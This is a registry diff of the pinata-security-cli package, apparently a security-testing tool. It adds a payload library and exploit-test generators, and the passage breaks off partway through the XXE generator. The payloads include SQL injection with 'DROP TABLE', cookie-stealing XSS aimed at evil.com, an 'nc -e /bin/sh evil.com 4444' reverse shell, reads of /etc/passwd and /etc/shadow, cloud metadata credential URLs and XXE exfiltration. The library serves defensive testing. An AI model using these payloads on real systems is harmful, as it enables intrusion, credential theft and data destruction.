pinata-security-cli 0.4.1 → 0.5.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli/index.js +1232 -1
- package/dist/cli/index.js.map +1 -1
- package/package.json +1 -1
package/dist/cli/index.js
CHANGED
|
@@ -1271,7 +1271,11 @@ var init_types2 = __esm({
|
|
|
1271
1271
|
"command-injection",
|
|
1272
1272
|
"path-traversal",
|
|
1273
1273
|
"ssrf",
|
|
1274
|
-
"
|
|
1274
|
+
"xxe",
|
|
1275
|
+
"deserialization",
|
|
1276
|
+
"missing-authentication",
|
|
1277
|
+
"idor",
|
|
1278
|
+
"open-redirect"
|
|
1275
1279
|
];
|
|
1276
1280
|
}
|
|
1277
1281
|
});
|
|
@@ -1731,6 +1735,495 @@ var init_results = __esm({
|
|
|
1731
1735
|
}
|
|
1732
1736
|
});
|
|
1733
1737
|
|
|
1738
|
+
// src/execution/payloads.ts
|
|
1739
|
+
function mutatePayload(payload, maxMutations = 5) {
|
|
1740
|
+
const mutations = [payload];
|
|
1741
|
+
for (const strategy of MUTATION_STRATEGIES.slice(0, maxMutations)) {
|
|
1742
|
+
try {
|
|
1743
|
+
const mutated = strategy.apply(payload);
|
|
1744
|
+
if (mutated !== payload && !mutations.includes(mutated)) {
|
|
1745
|
+
mutations.push(mutated);
|
|
1746
|
+
}
|
|
1747
|
+
} catch {
|
|
1748
|
+
}
|
|
1749
|
+
}
|
|
1750
|
+
return mutations;
|
|
1751
|
+
}
|
|
1752
|
+
function getPayloadsForCategory(categoryId) {
|
|
1753
|
+
switch (categoryId) {
|
|
1754
|
+
case "sql-injection":
|
|
1755
|
+
return [
|
|
1756
|
+
...SQL_INJECTION_PAYLOADS.boolean,
|
|
1757
|
+
...SQL_INJECTION_PAYLOADS.union,
|
|
1758
|
+
...SQL_INJECTION_PAYLOADS.error
|
|
1759
|
+
];
|
|
1760
|
+
case "xss":
|
|
1761
|
+
return [
|
|
1762
|
+
...XSS_PAYLOADS.script,
|
|
1763
|
+
...XSS_PAYLOADS.event,
|
|
1764
|
+
...XSS_PAYLOADS.bypass
|
|
1765
|
+
];
|
|
1766
|
+
case "command-injection":
|
|
1767
|
+
return [
|
|
1768
|
+
...COMMAND_INJECTION_PAYLOADS.semicolon,
|
|
1769
|
+
...COMMAND_INJECTION_PAYLOADS.pipe,
|
|
1770
|
+
...COMMAND_INJECTION_PAYLOADS.substitution
|
|
1771
|
+
];
|
|
1772
|
+
case "path-traversal":
|
|
1773
|
+
return [
|
|
1774
|
+
...PATH_TRAVERSAL_PAYLOADS.basic,
|
|
1775
|
+
...PATH_TRAVERSAL_PAYLOADS.urlEncoded,
|
|
1776
|
+
...PATH_TRAVERSAL_PAYLOADS.bypass
|
|
1777
|
+
];
|
|
1778
|
+
case "ssrf":
|
|
1779
|
+
return [
|
|
1780
|
+
...SSRF_PAYLOADS.localhost,
|
|
1781
|
+
...SSRF_PAYLOADS.internal,
|
|
1782
|
+
...SSRF_PAYLOADS.cloud
|
|
1783
|
+
];
|
|
1784
|
+
case "xxe":
|
|
1785
|
+
return [
|
|
1786
|
+
...XXE_PAYLOADS.basic,
|
|
1787
|
+
...XXE_PAYLOADS.blind
|
|
1788
|
+
];
|
|
1789
|
+
case "missing-authentication":
|
|
1790
|
+
return AUTH_BYPASS_PAYLOADS.session;
|
|
1791
|
+
case "idor":
|
|
1792
|
+
return IDOR_PAYLOADS.numeric;
|
|
1793
|
+
case "open-redirect":
|
|
1794
|
+
return [
|
|
1795
|
+
...OPEN_REDIRECT_PAYLOADS.basic,
|
|
1796
|
+
...OPEN_REDIRECT_PAYLOADS.bypass
|
|
1797
|
+
];
|
|
1798
|
+
default:
|
|
1799
|
+
return [];
|
|
1800
|
+
}
|
|
1801
|
+
}
|
|
1802
|
+
function getPayloadsWithMutations(categoryId, maxPayloads = 20) {
|
|
1803
|
+
const basePayloads = getPayloadsForCategory(categoryId).slice(0, 5);
|
|
1804
|
+
const allPayloads = [];
|
|
1805
|
+
for (const payload of basePayloads) {
|
|
1806
|
+
allPayloads.push(...mutatePayload(payload, 3));
|
|
1807
|
+
}
|
|
1808
|
+
return [...new Set(allPayloads)].slice(0, maxPayloads);
|
|
1809
|
+
}
|
|
1810
|
+
var SQL_INJECTION_PAYLOADS, XSS_PAYLOADS, COMMAND_INJECTION_PAYLOADS, PATH_TRAVERSAL_PAYLOADS, SSRF_PAYLOADS, XXE_PAYLOADS, DESERIALIZATION_PAYLOADS, AUTH_BYPASS_PAYLOADS, IDOR_PAYLOADS, OPEN_REDIRECT_PAYLOADS, urlEncode, doubleUrlEncode, unicodeEncode, randomCase, insertWhitespace, insertSqlComments, htmlEntityEncode, insertNullByte, MUTATION_STRATEGIES;
|
|
1811
|
+
var init_payloads = __esm({
|
|
1812
|
+
"src/execution/payloads.ts"() {
|
|
1813
|
+
SQL_INJECTION_PAYLOADS = {
|
|
1814
|
+
/** Boolean-based blind injection */
|
|
1815
|
+
boolean: [
|
|
1816
|
+
"' OR '1'='1",
|
|
1817
|
+
"' OR '1'='1'--",
|
|
1818
|
+
"' OR '1'='1'/*",
|
|
1819
|
+
"1' AND '1'='1",
|
|
1820
|
+
"1' AND '1'='2",
|
|
1821
|
+
"' OR 1=1--",
|
|
1822
|
+
'" OR "1"="1',
|
|
1823
|
+
"') OR ('1'='1",
|
|
1824
|
+
"1 OR 1=1",
|
|
1825
|
+
"1' OR '1'='1' AND ''='"
|
|
1826
|
+
],
|
|
1827
|
+
/** UNION-based injection */
|
|
1828
|
+
union: [
|
|
1829
|
+
"' UNION SELECT NULL--",
|
|
1830
|
+
"' UNION SELECT NULL,NULL--",
|
|
1831
|
+
"' UNION SELECT NULL,NULL,NULL--",
|
|
1832
|
+
"1 UNION SELECT username,password FROM users--",
|
|
1833
|
+
"1 UNION ALL SELECT 1,2,3,4--",
|
|
1834
|
+
"' UNION SELECT table_name,NULL FROM information_schema.tables--",
|
|
1835
|
+
"' UNION SELECT column_name,NULL FROM information_schema.columns--"
|
|
1836
|
+
],
|
|
1837
|
+
/** Error-based injection */
|
|
1838
|
+
error: [
|
|
1839
|
+
"'",
|
|
1840
|
+
'"',
|
|
1841
|
+
"1'",
|
|
1842
|
+
'1"',
|
|
1843
|
+
"1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
|
|
1844
|
+
"' AND EXTRACTVALUE(1,CONCAT(0x7e,version(),0x7e))--",
|
|
1845
|
+
"' AND UPDATEXML(1,CONCAT(0x7e,version(),0x7e),1)--"
|
|
1846
|
+
],
|
|
1847
|
+
/** Time-based blind injection */
|
|
1848
|
+
time: [
|
|
1849
|
+
"' OR SLEEP(5)--",
|
|
1850
|
+
"'; WAITFOR DELAY '0:0:5'--",
|
|
1851
|
+
"' OR pg_sleep(5)--",
|
|
1852
|
+
"1' AND SLEEP(5)--",
|
|
1853
|
+
"1'; SELECT SLEEP(5);--"
|
|
1854
|
+
],
|
|
1855
|
+
/** Stacked queries */
|
|
1856
|
+
stacked: [
|
|
1857
|
+
"'; DROP TABLE users--",
|
|
1858
|
+
"'; INSERT INTO users VALUES('pwned','pwned')--",
|
|
1859
|
+
"'; UPDATE users SET password='pwned'--",
|
|
1860
|
+
"1; SELECT * FROM users--"
|
|
1861
|
+
],
|
|
1862
|
+
/** NoSQL injection */
|
|
1863
|
+
nosql: [
|
|
1864
|
+
'{"$gt": ""}',
|
|
1865
|
+
'{"$ne": null}',
|
|
1866
|
+
'{"$where": "1==1"}',
|
|
1867
|
+
"'; return true; var x='",
|
|
1868
|
+
'{"$regex": ".*"}'
|
|
1869
|
+
]
|
|
1870
|
+
};
|
|
1871
|
+
XSS_PAYLOADS = {
|
|
1872
|
+
/** Basic script injection */
|
|
1873
|
+
script: [
|
|
1874
|
+
'<script>alert("XSS")</script>',
|
|
1875
|
+
"<script>alert(document.cookie)</script>",
|
|
1876
|
+
"<script>alert(1)</script>",
|
|
1877
|
+
'<script src="https://evil.com/xss.js"></script>',
|
|
1878
|
+
'<script>new Image().src="https://evil.com/?c="+document.cookie</script>'
|
|
1879
|
+
],
|
|
1880
|
+
/** Event handler injection */
|
|
1881
|
+
event: [
|
|
1882
|
+
'<img src=x onerror=alert("XSS")>',
|
|
1883
|
+
'<svg onload=alert("XSS")>',
|
|
1884
|
+
'<body onload=alert("XSS")>',
|
|
1885
|
+
'<input onfocus=alert("XSS") autofocus>',
|
|
1886
|
+
'<marquee onstart=alert("XSS")>',
|
|
1887
|
+
'<video><source onerror=alert("XSS")>',
|
|
1888
|
+
'<details open ontoggle=alert("XSS")>'
|
|
1889
|
+
],
|
|
1890
|
+
/** URL-based XSS */
|
|
1891
|
+
url: [
|
|
1892
|
+
'javascript:alert("XSS")',
|
|
1893
|
+
"javascript:alert(document.domain)",
|
|
1894
|
+
'data:text/html,<script>alert("XSS")</script>',
|
|
1895
|
+
'vbscript:alert("XSS")'
|
|
1896
|
+
],
|
|
1897
|
+
/** Filter bypass */
|
|
1898
|
+
bypass: [
|
|
1899
|
+
'<ScRiPt>alert("XSS")</sCrIpT>',
|
|
1900
|
+
'<scr<script>ipt>alert("XSS")</scr</script>ipt>',
|
|
1901
|
+
'"><script>alert("XSS")</script>',
|
|
1902
|
+
"'><script>alert('XSS')</script>",
|
|
1903
|
+
'<img src=x onerror="alert(String.fromCharCode(88,83,83))">',
|
|
1904
|
+
'\\x3cscript\\x3ealert("XSS")\\x3c/script\\x3e',
|
|
1905
|
+
"<script>alert`XSS`</script>"
|
|
1906
|
+
],
|
|
1907
|
+
/** DOM-based XSS */
|
|
1908
|
+
dom: [
|
|
1909
|
+
'#<script>alert("XSS")</script>',
|
|
1910
|
+
'?q=<script>alert("XSS")</script>',
|
|
1911
|
+
`javascript:/*--></title></style></textarea></script><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>`
|
|
1912
|
+
]
|
|
1913
|
+
};
|
|
1914
|
+
COMMAND_INJECTION_PAYLOADS = {
|
|
1915
|
+
/** Semicolon separator */
|
|
1916
|
+
semicolon: [
|
|
1917
|
+
"; ls -la",
|
|
1918
|
+
"; id",
|
|
1919
|
+
"; whoami",
|
|
1920
|
+
"; cat /etc/passwd",
|
|
1921
|
+
"; uname -a"
|
|
1922
|
+
],
|
|
1923
|
+
/** Pipe operator */
|
|
1924
|
+
pipe: [
|
|
1925
|
+
"| ls -la",
|
|
1926
|
+
"| id",
|
|
1927
|
+
"| cat /etc/passwd",
|
|
1928
|
+
"| nc -e /bin/sh evil.com 4444"
|
|
1929
|
+
],
|
|
1930
|
+
/** Ampersand operators */
|
|
1931
|
+
ampersand: [
|
|
1932
|
+
"&& ls -la",
|
|
1933
|
+
"& ls -la",
|
|
1934
|
+
"|| ls -la"
|
|
1935
|
+
],
|
|
1936
|
+
/** Backticks and substitution */
|
|
1937
|
+
substitution: [
|
|
1938
|
+
"`id`",
|
|
1939
|
+
"$(id)",
|
|
1940
|
+
"`whoami`",
|
|
1941
|
+
"$(whoami)",
|
|
1942
|
+
"`cat /etc/passwd`"
|
|
1943
|
+
],
|
|
1944
|
+
/** Newline injection */
|
|
1945
|
+
newline: [
|
|
1946
|
+
"\nid",
|
|
1947
|
+
"\r\nwhoami",
|
|
1948
|
+
"%0aid",
|
|
1949
|
+
"%0d%0awhoami"
|
|
1950
|
+
],
|
|
1951
|
+
/** Windows-specific */
|
|
1952
|
+
windows: [
|
|
1953
|
+
"& dir",
|
|
1954
|
+
"| type C:\\Windows\\win.ini",
|
|
1955
|
+
"& whoami",
|
|
1956
|
+
"| net user"
|
|
1957
|
+
]
|
|
1958
|
+
};
|
|
1959
|
+
PATH_TRAVERSAL_PAYLOADS = {
|
|
1960
|
+
/** Basic traversal */
|
|
1961
|
+
basic: [
|
|
1962
|
+
"../../../etc/passwd",
|
|
1963
|
+
"..\\..\\..\\windows\\win.ini",
|
|
1964
|
+
"../../../etc/shadow",
|
|
1965
|
+
"../../../etc/hosts",
|
|
1966
|
+
"../../../../etc/passwd",
|
|
1967
|
+
"../../../../../etc/passwd"
|
|
1968
|
+
],
|
|
1969
|
+
/** URL encoding */
|
|
1970
|
+
urlEncoded: [
|
|
1971
|
+
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
|
1972
|
+
"%2e%2e/%2e%2e/%2e%2e/etc/passwd",
|
|
1973
|
+
"..%2f..%2f..%2fetc%2fpasswd",
|
|
1974
|
+
"%252e%252e%252f%252e%252e%252fetc%252fpasswd"
|
|
1975
|
+
],
|
|
1976
|
+
/** Double encoding */
|
|
1977
|
+
doubleEncoded: [
|
|
1978
|
+
"..%252f..%252f..%252fetc/passwd",
|
|
1979
|
+
"%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
|
|
1980
|
+
],
|
|
1981
|
+
/** Null byte injection (legacy) */
|
|
1982
|
+
nullByte: [
|
|
1983
|
+
"../../../etc/passwd%00",
|
|
1984
|
+
"../../../etc/passwd%00.jpg",
|
|
1985
|
+
"../../../etc/passwd\0"
|
|
1986
|
+
],
|
|
1987
|
+
/** Bypass filters */
|
|
1988
|
+
bypass: [
|
|
1989
|
+
"....//....//....//etc/passwd",
|
|
1990
|
+
"..../....//....//etc/passwd",
|
|
1991
|
+
"..;/..;/..;/etc/passwd",
|
|
1992
|
+
"..\\..\\..\\/etc/passwd",
|
|
1993
|
+
"..%c0%af..%c0%af..%c0%afetc/passwd"
|
|
1994
|
+
]
|
|
1995
|
+
};
|
|
1996
|
+
SSRF_PAYLOADS = {
|
|
1997
|
+
/** Localhost access */
|
|
1998
|
+
localhost: [
|
|
1999
|
+
"http://localhost",
|
|
2000
|
+
"http://127.0.0.1",
|
|
2001
|
+
"http://[::1]",
|
|
2002
|
+
"http://0.0.0.0",
|
|
2003
|
+
"http://0",
|
|
2004
|
+
"http://localhost:22",
|
|
2005
|
+
"http://localhost:25",
|
|
2006
|
+
"http://localhost:3306",
|
|
2007
|
+
"http://localhost:6379",
|
|
2008
|
+
"http://127.1",
|
|
2009
|
+
"http://2130706433"
|
|
2010
|
+
// Decimal IP for 127.0.0.1
|
|
2011
|
+
],
|
|
2012
|
+
/** Internal network */
|
|
2013
|
+
internal: [
|
|
2014
|
+
"http://192.168.0.1",
|
|
2015
|
+
"http://192.168.1.1",
|
|
2016
|
+
"http://10.0.0.1",
|
|
2017
|
+
"http://172.16.0.1",
|
|
2018
|
+
"http://169.254.169.254",
|
|
2019
|
+
// AWS metadata
|
|
2020
|
+
"http://169.254.169.254/latest/meta-data/",
|
|
2021
|
+
"http://metadata.google.internal",
|
|
2022
|
+
"http://100.100.100.200"
|
|
2023
|
+
// Alibaba Cloud
|
|
2024
|
+
],
|
|
2025
|
+
/** Cloud metadata endpoints */
|
|
2026
|
+
cloud: [
|
|
2027
|
+
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
|
2028
|
+
"http://169.254.169.254/latest/user-data/",
|
|
2029
|
+
"http://metadata.google.internal/computeMetadata/v1/",
|
|
2030
|
+
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
|
2031
|
+
],
|
|
2032
|
+
/** Protocol smuggling */
|
|
2033
|
+
protocols: [
|
|
2034
|
+
"file:///etc/passwd",
|
|
2035
|
+
"gopher://localhost:6379/_INFO",
|
|
2036
|
+
"dict://localhost:6379/INFO",
|
|
2037
|
+
"sftp://evil.com/",
|
|
2038
|
+
"ldap://evil.com/"
|
|
2039
|
+
],
|
|
2040
|
+
/** DNS rebinding */
|
|
2041
|
+
dnsRebind: [
|
|
2042
|
+
"http://spoofed.burpcollaborator.net",
|
|
2043
|
+
"http://1.1.1.1.xip.io"
|
|
2044
|
+
]
|
|
2045
|
+
};
|
|
2046
|
+
XXE_PAYLOADS = {
|
|
2047
|
+
/** Basic XXE */
|
|
2048
|
+
basic: [
|
|
2049
|
+
`<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>`,
|
|
2050
|
+
`<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><root>&xxe;</root>`
|
|
2051
|
+
],
|
|
2052
|
+
/** Parameter entity XXE */
|
|
2053
|
+
parameter: [
|
|
2054
|
+
`<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]><root></root>`
|
|
2055
|
+
],
|
|
2056
|
+
/** Blind XXE */
|
|
2057
|
+
blind: [
|
|
2058
|
+
`<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://evil.com/xxe?data=file:///etc/passwd">%xxe;]><root></root>`
|
|
2059
|
+
],
|
|
2060
|
+
/** XXE via file upload */
|
|
2061
|
+
fileUpload: [
|
|
2062
|
+
`<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>`
|
|
2063
|
+
],
|
|
2064
|
+
/** XXE in SOAP */
|
|
2065
|
+
soap: [
|
|
2066
|
+
`<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>&xxe;</soap:Body></soap:Envelope>`
|
|
2067
|
+
]
|
|
2068
|
+
};
|
|
2069
|
+
DESERIALIZATION_PAYLOADS = {
|
|
2070
|
+
/** Node.js/JavaScript */
|
|
2071
|
+
nodejs: [
|
|
2072
|
+
`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}`,
|
|
2073
|
+
'{"__proto__":{"polluted":"yes"}}',
|
|
2074
|
+
'{"constructor":{"prototype":{"polluted":"yes"}}}'
|
|
2075
|
+
],
|
|
2076
|
+
/** Python pickle */
|
|
2077
|
+
python: [
|
|
2078
|
+
// Base64 encoded pickle payloads would go here
|
|
2079
|
+
// These are dangerous so we use detection patterns instead
|
|
2080
|
+
],
|
|
2081
|
+
/** Java */
|
|
2082
|
+
java: [
|
|
2083
|
+
// Ysoserial-style payloads reference
|
|
2084
|
+
"AC ED 00 05"
|
|
2085
|
+
// Java serialization magic bytes
|
|
2086
|
+
],
|
|
2087
|
+
/** PHP */
|
|
2088
|
+
php: [
|
|
2089
|
+
'O:8:"stdClass":0:{}',
|
|
2090
|
+
'a:1:{s:4:"test";O:8:"stdClass":0:{}}'
|
|
2091
|
+
]
|
|
2092
|
+
};
|
|
2093
|
+
AUTH_BYPASS_PAYLOADS = {
|
|
2094
|
+
/** Default credentials */
|
|
2095
|
+
defaultCreds: [
|
|
2096
|
+
{ username: "admin", password: "admin" },
|
|
2097
|
+
{ username: "admin", password: "password" },
|
|
2098
|
+
{ username: "admin", password: "123456" },
|
|
2099
|
+
{ username: "root", password: "root" },
|
|
2100
|
+
{ username: "test", password: "test" },
|
|
2101
|
+
{ username: "guest", password: "guest" }
|
|
2102
|
+
],
|
|
2103
|
+
/** JWT manipulation */
|
|
2104
|
+
jwt: [
|
|
2105
|
+
// Algorithm none
|
|
2106
|
+
"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.",
|
|
2107
|
+
// Empty signature
|
|
2108
|
+
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9."
|
|
2109
|
+
],
|
|
2110
|
+
/** Session manipulation */
|
|
2111
|
+
session: [
|
|
2112
|
+
"admin=true",
|
|
2113
|
+
"role=admin",
|
|
2114
|
+
"isAdmin=1",
|
|
2115
|
+
"authenticated=true"
|
|
2116
|
+
],
|
|
2117
|
+
/** Header injection */
|
|
2118
|
+
headers: [
|
|
2119
|
+
{ "X-Forwarded-For": "127.0.0.1" },
|
|
2120
|
+
{ "X-Original-URL": "/admin" },
|
|
2121
|
+
{ "X-Rewrite-URL": "/admin" },
|
|
2122
|
+
{ "X-Custom-IP-Authorization": "127.0.0.1" }
|
|
2123
|
+
]
|
|
2124
|
+
};
|
|
2125
|
+
IDOR_PAYLOADS = {
|
|
2126
|
+
/** Numeric ID manipulation */
|
|
2127
|
+
numeric: [
|
|
2128
|
+
"1",
|
|
2129
|
+
"2",
|
|
2130
|
+
"0",
|
|
2131
|
+
"-1",
|
|
2132
|
+
"9999999",
|
|
2133
|
+
"1000000000"
|
|
2134
|
+
],
|
|
2135
|
+
/** UUID/GUID manipulation */
|
|
2136
|
+
uuid: [
|
|
2137
|
+
"00000000-0000-0000-0000-000000000000",
|
|
2138
|
+
"11111111-1111-1111-1111-111111111111"
|
|
2139
|
+
],
|
|
2140
|
+
/** Hash prediction */
|
|
2141
|
+
hash: [
|
|
2142
|
+
"admin",
|
|
2143
|
+
"user",
|
|
2144
|
+
"test",
|
|
2145
|
+
"1",
|
|
2146
|
+
"0"
|
|
2147
|
+
]
|
|
2148
|
+
};
|
|
2149
|
+
OPEN_REDIRECT_PAYLOADS = {
|
|
2150
|
+
/** Basic redirects */
|
|
2151
|
+
basic: [
|
|
2152
|
+
"https://evil.com",
|
|
2153
|
+
"//evil.com",
|
|
2154
|
+
"/\\evil.com",
|
|
2155
|
+
"https://evil.com%2f%2f"
|
|
2156
|
+
],
|
|
2157
|
+
/** Filter bypass */
|
|
2158
|
+
bypass: [
|
|
2159
|
+
"https://evil.com?.trusted.com",
|
|
2160
|
+
"https://trusted.com@evil.com",
|
|
2161
|
+
"https://trusted.com.evil.com",
|
|
2162
|
+
"javascript:alert(document.domain)",
|
|
2163
|
+
"///evil.com",
|
|
2164
|
+
"\\/\\/evil.com"
|
|
2165
|
+
],
|
|
2166
|
+
/** Encoded */
|
|
2167
|
+
encoded: [
|
|
2168
|
+
"https:%2F%2Fevil.com",
|
|
2169
|
+
"https:%252F%252Fevil.com",
|
|
2170
|
+
"%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"
|
|
2171
|
+
]
|
|
2172
|
+
};
|
|
2173
|
+
urlEncode = {
|
|
2174
|
+
name: "url-encode",
|
|
2175
|
+
apply: (p) => encodeURIComponent(p)
|
|
2176
|
+
};
|
|
2177
|
+
doubleUrlEncode = {
|
|
2178
|
+
name: "double-url-encode",
|
|
2179
|
+
apply: (p) => encodeURIComponent(encodeURIComponent(p))
|
|
2180
|
+
};
|
|
2181
|
+
unicodeEncode = {
|
|
2182
|
+
name: "unicode-encode",
|
|
2183
|
+
apply: (p) => {
|
|
2184
|
+
return p.split("").map((c) => {
|
|
2185
|
+
const code = c.charCodeAt(0);
|
|
2186
|
+
return code > 127 ? c : `\\u${code.toString(16).padStart(4, "0")}`;
|
|
2187
|
+
}).join("");
|
|
2188
|
+
}
|
|
2189
|
+
};
|
|
2190
|
+
randomCase = {
|
|
2191
|
+
name: "random-case",
|
|
2192
|
+
apply: (p) => {
|
|
2193
|
+
return p.split("").map((c) => Math.random() > 0.5 ? c.toUpperCase() : c.toLowerCase()).join("");
|
|
2194
|
+
}
|
|
2195
|
+
};
|
|
2196
|
+
insertWhitespace = {
|
|
2197
|
+
name: "insert-whitespace",
|
|
2198
|
+
apply: (p) => p.replace(/([<>])/g, " $1 ").replace(/ +/g, " ")
|
|
2199
|
+
};
|
|
2200
|
+
insertSqlComments = {
|
|
2201
|
+
name: "sql-comments",
|
|
2202
|
+
apply: (p) => p.replace(/ /g, "/**/")
|
|
2203
|
+
};
|
|
2204
|
+
htmlEntityEncode = {
|
|
2205
|
+
name: "html-entity",
|
|
2206
|
+
apply: (p) => {
|
|
2207
|
+
return p.replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'");
|
|
2208
|
+
}
|
|
2209
|
+
};
|
|
2210
|
+
insertNullByte = {
|
|
2211
|
+
name: "null-byte",
|
|
2212
|
+
apply: (p) => p + "%00"
|
|
2213
|
+
};
|
|
2214
|
+
MUTATION_STRATEGIES = [
|
|
2215
|
+
urlEncode,
|
|
2216
|
+
doubleUrlEncode,
|
|
2217
|
+
unicodeEncode,
|
|
2218
|
+
randomCase,
|
|
2219
|
+
insertWhitespace,
|
|
2220
|
+
insertSqlComments,
|
|
2221
|
+
htmlEntityEncode,
|
|
2222
|
+
insertNullByte
|
|
2223
|
+
];
|
|
2224
|
+
}
|
|
2225
|
+
});
|
|
2226
|
+
|
|
1734
2227
|
// src/execution/generator.ts
|
|
1735
2228
|
function generateExploitTest(gap, targetCode, language) {
|
|
1736
2229
|
const categoryId = gap.categoryId;
|
|
@@ -1743,6 +2236,16 @@ function generateExploitTest(gap, targetCode, language) {
|
|
|
1743
2236
|
return generateCommandInjectionTest(gap, targetCode);
|
|
1744
2237
|
case "path-traversal":
|
|
1745
2238
|
return generatePathTraversalTest(gap, targetCode);
|
|
2239
|
+
case "ssrf":
|
|
2240
|
+
return generateSsrfTest(gap, targetCode);
|
|
2241
|
+
case "xxe":
|
|
2242
|
+
return generateXxeTest(gap, targetCode);
|
|
2243
|
+
case "missing-authentication":
|
|
2244
|
+
return generateAuthBypassTest(gap, targetCode);
|
|
2245
|
+
case "idor":
|
|
2246
|
+
return generateIdorTest(gap, targetCode);
|
|
2247
|
+
case "open-redirect":
|
|
2248
|
+
return generateOpenRedirectTest(gap, targetCode);
|
|
1746
2249
|
default:
|
|
1747
2250
|
return generateGenericTest(gap, targetCode);
|
|
1748
2251
|
}
|
|
@@ -1987,6 +2490,258 @@ describe('Path Traversal Exploit - ${gap.filePath}:${gap.lineStart}', () => {
|
|
|
1987
2490
|
});
|
|
1988
2491
|
`.trim();
|
|
1989
2492
|
}
|
|
2493
|
+
function generateSsrfTest(gap, targetCode, language) {
|
|
2494
|
+
const payloads = JSON.stringify(SSRF_PAYLOADS.localhost.slice(0, 5));
|
|
2495
|
+
const cloudPayloads = JSON.stringify(SSRF_PAYLOADS.cloud.slice(0, 3));
|
|
2496
|
+
return `
|
|
2497
|
+
import { describe, it, expect } from 'vitest';
|
|
2498
|
+
|
|
2499
|
+
describe('SSRF Exploit - ${gap.filePath}:${gap.lineStart}', () => {
|
|
2500
|
+
const LOCALHOST_PAYLOADS = ${payloads};
|
|
2501
|
+
const CLOUD_METADATA_PAYLOADS = ${cloudPayloads};
|
|
2502
|
+
|
|
2503
|
+
it('exploit: internal network access via localhost variants', () => {
|
|
2504
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2505
|
+
|
|
2506
|
+
// Check if URL is fetched without validation
|
|
2507
|
+
const usesFetch = targetCode.includes('fetch(') ||
|
|
2508
|
+
targetCode.includes('axios') ||
|
|
2509
|
+
targetCode.includes('request(') ||
|
|
2510
|
+
targetCode.includes('http.get');
|
|
2511
|
+
|
|
2512
|
+
const hasUrlValidation = targetCode.includes('allowlist') ||
|
|
2513
|
+
targetCode.includes('whitelist') ||
|
|
2514
|
+
targetCode.includes('isValidUrl') ||
|
|
2515
|
+
targetCode.includes('URL(');
|
|
2516
|
+
|
|
2517
|
+
// Vulnerable: fetches URLs without validation
|
|
2518
|
+
if (usesFetch) {
|
|
2519
|
+
expect(hasUrlValidation).toBe(false);
|
|
2520
|
+
}
|
|
2521
|
+
});
|
|
2522
|
+
|
|
2523
|
+
it('exploit: cloud metadata endpoint access', () => {
|
|
2524
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2525
|
+
|
|
2526
|
+
// AWS/GCP/Azure metadata endpoints should be blocked
|
|
2527
|
+
const blocksMetadata = targetCode.includes('169.254.169.254') ||
|
|
2528
|
+
targetCode.includes('metadata.google') ||
|
|
2529
|
+
targetCode.includes('blockInternal');
|
|
2530
|
+
|
|
2531
|
+
expect(blocksMetadata).toBe(false);
|
|
2532
|
+
});
|
|
2533
|
+
|
|
2534
|
+
it('exploit: protocol smuggling (file://, gopher://)', () => {
|
|
2535
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2536
|
+
|
|
2537
|
+
// Check if non-HTTP protocols are allowed
|
|
2538
|
+
const restrictsProtocol = targetCode.includes('http://') ||
|
|
2539
|
+
targetCode.includes('https://') ||
|
|
2540
|
+
targetCode.includes('protocol === "http"');
|
|
2541
|
+
|
|
2542
|
+
// Vulnerable if no protocol restriction
|
|
2543
|
+
expect(restrictsProtocol).toBe(false);
|
|
2544
|
+
});
|
|
2545
|
+
});
|
|
2546
|
+
`.trim();
|
|
2547
|
+
}
|
|
2548
|
+
function generateXxeTest(gap, targetCode, language) {
|
|
2549
|
+
return `
|
|
2550
|
+
import { describe, it, expect } from 'vitest';
|
|
2551
|
+
|
|
2552
|
+
describe('XXE Exploit - ${gap.filePath}:${gap.lineStart}', () => {
|
|
2553
|
+
const XXE_PAYLOADS = [
|
|
2554
|
+
'<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>',
|
|
2555
|
+
'<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]><root></root>',
|
|
2556
|
+
];
|
|
2557
|
+
|
|
2558
|
+
it('exploit: XML parser allows external entities', () => {
|
|
2559
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2560
|
+
|
|
2561
|
+
// Check for XML parsing
|
|
2562
|
+
const parsesXml = targetCode.includes('parseXML') ||
|
|
2563
|
+
targetCode.includes('DOMParser') ||
|
|
2564
|
+
targetCode.includes('xml2js') ||
|
|
2565
|
+
targetCode.includes('xmldom') ||
|
|
2566
|
+
